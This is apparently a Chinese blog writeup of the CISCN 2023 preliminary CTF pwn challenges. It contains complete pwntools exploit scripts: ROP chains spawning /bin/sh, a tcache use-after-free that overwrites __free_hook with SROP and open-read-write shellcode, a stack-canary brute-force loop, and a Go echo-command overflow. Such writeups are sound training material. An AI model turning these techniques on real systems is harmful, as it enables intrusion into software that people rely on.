跳到主要内容

「PWN」【第十六届全国大学生信息安全竞赛 CISCN 初赛】Writeup WP 复现

· 阅读需 12 分钟
Muel - Nova

决赛要去 Singapore,所以没时间打,初赛看看。

初赛 Pwn 题不好评价,Pwn 的部分都挺简单的,但是给你套 RE/WEB/MISC 的壳,两天的 pwn3 都没出,也不太想看了。

shaokao

签到题。负数溢出刷钱,栈溢出写 ROP。

from pwn import *

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = 'wt.exe bash -c'.split(' ')

sh = process('./shaokao')
elf = ELF('./shaokao')

pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rax_ret = 0x458827
pop_rdx_rbx_ret = 0x4a404b
syscall_ret = 0x4230a6
name = elf.sym['name']


sh.sendlineafter('来点啥?\n'.encode(), b'1\n1\n-100000\n4')
gdb.attach(sh, 'b *0x401F8D')
pause(4)
sh.sendlineafter('来点啥?\n'.encode(), b'5\n' + b'/bin/sh'.ljust(0x28, b'\x00') +
p64(pop_rdi_ret) + p64(name) + p64(pop_rax_ret) + p64(59) +
p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(syscall_ret))
sh.interactive()

talkbot

Protobuf 协议题,出题人很鸡贼的把 strings 里的 protobuf 改成了 BINARYBF

image-20230528220826344

不过通过搜后面的啥还是能搜出来是 protobuf 的。还好协议字段已经直接写在字段里了,看名字猜类型。

image-20230528221007371

不知道是哪里改的,但是实测发现 actionid, msgidx, msgsize 都需要 *2 才是正常值。

因为写 protobuf 太麻烦了,所以写了一个 pwnutils

菜单

def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))

def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))

def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))

def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))

image-20230528221200181

漏洞点在 del 没有把指针置 0 造成 UAF

image-20230528221243421

因此可以通过打 tcache + UAF 一把梭,简单题。

不过其实还有一个隐藏的漏洞点,在 add 这里,甚至可以在没有 UAF 的情况下打通( talkbot_revenge? )

image-20230528221331330

注意到 heapsize 只有 0x20 的偏移。那么如果我们 add(0, 0) 之后再 add(0x20, 0),就会让 heap[0x20] 写在 size[0] 上,造成 size[0] 非常巨大。

此时,利用 edit 就可以造成堆溢出。此时我们可以在下面重新造一个 chunk 用(因为这个 chunk 太大了,直接 show 会出问题),然后再利用下一个 chunk 再去堆溢出,改一个 unsortedbin 出来泄露。

然而麻烦的是,protobuf 解析的时候会创建很多堆块,并且它不回收。而我们最大只能创建 0xf0 的堆块,所以堆风水调了我很久。

new(0, 0, b'')
new(1, 0x10, b'')
new(0x20, 0x10, b'')
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x91))
delete(1)
new(2, 0x88, b'A'*0x70)
edit(2, b'\x00'.ljust(0x68, b'\x00') + p64(0x451))
new(10, 0xf0, b'')
new(11, 0xf0, b'')

delete(0x20)
new(12, 0xf0, b'')
show(12)

libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
sh.recv(0x9a+0x38)
heap_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x510

还好最后是够了。接下来就是 __free_hook 的过程。因为是 2.31,所以得利用 magic_gadget + setcontext 控制程序流。

这里研究了一下 SROP,然后又顺手写了个 FAST_HEAP_SROP 方便以后用。

不过等考完试之后估计还要优化下,现在不优美。

exp:

from pwn import *
from typing import Any

from pwnutils.protocol.protobuf import serialize as pb_serialize
from pwnutils.gadgets.srop import FAST_HEAP_SROP
from pwnutils.gadgets.orw import orw_shellcode

context(os='linux', arch='amd64', terminal='wt.exe bash -c'.split(' '))
context.log_level = 'DEBUG'


sh = process(['./pwn'])
elf = ELF('./pwn')
libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')


def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))

def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))

def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))

def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))



new(0, 0, b'')
new(1, 0x10, b'')
new(0x20, 0x10, b'')
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x91))
delete(1)
new(2, 0x88, b'A'*0x70)
edit(2, b'\x00'.ljust(0x68, b'\x00') + p64(0x451))
new(10, 0xf0, b'')
new(11, 0xf0, b'')

delete(0x20)
new(12, 0xf0, b'')
show(12)

libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
sh.recv(0x9a+0x38)
heap_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x510
free_hook = libc_base + libc.sym['__free_hook']
open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
mprotect = libc_base + libc.sym['mprotect']
set_context_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x1547a0
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_ret = libc_base + 0x11c1e1
success(f'libc_base: {hex(libc_base)}')
success(f'heap_base: {hex(heap_base)}')
new(13, 0x80, b'')
delete(13)
delete(2)
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x71))
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x71)+p64(free_hook))
new(14, 0x80, b'')
new(15, 0x80, p64(magic_gadget))

payload = FAST_HEAP_SROP(heap_base + 0xcc0, set_context_61, read_)
new(16, 0xf0, bytes(payload)[:0xf0])
delete(16)
payload = orw_shellcode(rdi=pop_rdi_ret, rsi=pop_rsi_ret, rdx=pop_rdx_ret, mprotect_addr=mprotect, sig=payload, rdx_r12=True)
sh.send(payload)
sh.interactive()

PDC2.0

真的属于 pwn 题么? 1.0 见 伽玛实验场 | PDC面壁计划管理系统-出题人视角 | CTF导航 (ctfiot.com)

拿到附件是一个 app.py,一个 cmdHistory 和一个 流量包,还有一个库 aiortc。

对于 aiortc,通过 diff 可以知道他把 ecc 改成了 rsa 的,具体原因可以参考上面的链接。

观察流量包搜索路由 tell2me,可以看到有一个 weisi 的 token,而他的 sk 是我们已知的,在 app.py 中

image-20230528222953911

观察 app.py 可以知道我们可以访问 download 路由下载一些东西,其中有一个 editDatabase 的东西。

image-20230528222602012

我们可以发现,想要下载它,就需要 luoji 的 sk,不过注意到这里,它并没有直接使用 pk2sk[pk],而是做了循环判断

image-20230528222702739

其中, pk 是我们传过去的 [45:],而下面判断是不是 luoji 的时候又使用了 [45:50],这其实给了我们一个利用:

假设我们传送的 submitToken[45:] 是 luojiweisi,那么 sk = pk2sk[weisi],是我们已知的,但是判断的 [45:50] == luoji,就可以利用,利用过程不谈了,就是验签然后生成类似 HMAC 的东西,具体可以看上面的文章。

同时,通过观察 cmdHistory,我们还可以知道 ssl.log 的位置,也可以利用这个进行下载,这用于我们解密 DTLS 的流量,获取他们的密钥等等,但是由于我 wireshark 出问题了,没办法解密,暂且搁置不谈。

同样的利用可以进入到 tell2me 中,我们发现要与服务器进行通信需要 RTC,不过这到最后也没配上,内网穿透 STUN 打不通。

让我们来看 pwn 的部分,很简单。

image-20230528223623912

memcpy 从返回地址开始盖了 0x18 字节,布置 pop rdi;ret [fake rdi]; addr_of_sqlite3_exec 的rop链,其中 fake rdi 放在输入的 buffer 上即可构造一个语句拼接执行。

由于没环境,所以打不了

funcanary

fork 的特点, canary 不会变。

没有远程环境,本地没打通,不知道啥问题,思路就那样,唯一的问题就是最后需要爆一字节(两字节,只有低 12bit 相同),但是这里没有爆通,多线程懒得调,将就看吧

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = 'wt.exe bash -c'.split(' ')


canary = b'\x00'
sh = process(['./funcanary'])

elf = ELF('./funcanary')
for k in range(7):
for i in range(0xff+1):
sh.recvuntil(B'welcome\n')
sh.send(s := B'A'*0x68 + canary + i.to_bytes(1, 'little'))
if (a := sh.recvline()) != b'*** stack smashing detected ***: terminated\n':
canary += i.to_bytes(1, 'little')
success(canary.hex())
break

# gdb.attach(sh, 'b *$rebase(0x12B6)\nset detach-on-fork off')
# pause()
for i in range(0x10):
sh.send(s := B'A'*0x68 + canary + p64(0) + b'\x29' + ((i<<4) + 2).to_bytes(1, 'little'))
if b'welcome' not in (b := sh.recvline()):
print(b)
sh.interactive()

shellwego

go 题,re 大于 pwn 感觉。

恢复符号表用的是 go_parser,不过它还没有支持 go1.2x 版本,根据 Issue 把幻数(magic number)改了一下,让他勉强运行下来恢复了符号表(但是类型没有恢复出来)

伪代码看不成,细节全没了,一行一行汇编对着看的。

image-20230528224435797

可以看到有一个提权。具体的代码在 0x4C1900 那个大块里,慢慢看总能看懂的。

这里简单说一下,首先它会将输入按空格分隔开,然后判断第一个的长度再继续对命令进行判断。

image-20230528224811948

这里有一个 cert,然后 rbx 是命令分割后的个数,可以看到有 3 个,猜测格式是 cert [user] [pass], user 在下面可以看到,是 nAcDsMicN(小端序)

密码的验证逻辑,感谢恢复了符号表,可以让我们一眼看出是 rc4 和 base64,不然还得嗯逆。

image-20230528225009109

passphare 是 F1nallB1rd3K3y,密文是 JLIX8pbSvYZu/WaG,解密一下就可以知道密码是 S33UAga1n@#! 至此,提权部分结束。

之后提权可以用的指令是 ls, cat, echo, chdir 之类的,这里省去痛苦的逆向过程,直接看 vuln 函数 echo。

image-20230528225243629

这里做了一个拼接,将诸如 echo texta textb textctexta textb textc,前面因为分割空格给它分割了,再拼接回来。其中这里有一个条件是他们每一段的长度都不大于 0x200。

image-20230528225420176

然后这里有一个很奇怪的逻辑,一眼有问题。他把这些数又拷贝到另一个地方,方便输出。但是遇到 + 便跳过拷贝。而且这里 i 的上限居然到了 0x400,调试就可以发现这里有一个栈溢出,因为我们的 i 每段是 0x200,而不限制段数的。但是 fuzz 的时候还发现,我们必须要利用 + 进行绕过,因为 char_ptr 也在 v18 + i 的内存空间上。所以合理布局,即可控制返回地址,然后打 ROP 即可。

整体难度不是很大,只是逆向很复杂,而且其实一开始没找到洞,是 fuzz 的时候偶然发现的 crash。

最后的 ROP 是 read 了一个 /bin/sh 上去然后直接 execve,比 orw 方便一点。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
context.terminal='wt.exe bash -c'.split(' ')

sh = process('./pwn')
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')

sh.sendlineafter(b'ciscnshell$', b'cert nAcDsMicN S33UAga1n@#!')
gdb.attach(sh, f'b *0x444fec')
pause(3)

pop_rdi_ret = 0x444fec
pop_rsi_ret = 0x41e818
pop_rdx_ret = 0x49e11d
pop_rax_ret = 0x40d9e6
syscall_ret = 0x4636e9

payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x589000) + p64(pop_rdx_ret) + p64(8) + p64(pop_rax_ret) + p64(0x0) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(0x589000) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall_ret)
sh.sendlineafter(b'nightingale#', b'echo ' + b'A'*0x10 + b' ' + b'+'*0x200 + b" " + b'b'.ljust(0x13, b'+') + payload)
sh.send(b'/bin/sh\x00')
sh.interactive()

pwn6

Blind PWN,没远程没思路。

碎碎念

国赛初赛的 pwn 大概是 ez, medium, hard,分的很明显,说实话感觉决赛 pwn 可能有点复杂,还好这届不是我打(笑)

不过国赛的 pwn,这次和 pwn 相关的部分都不难,反而是其它的部分难,有点搞了。

Loading Comments...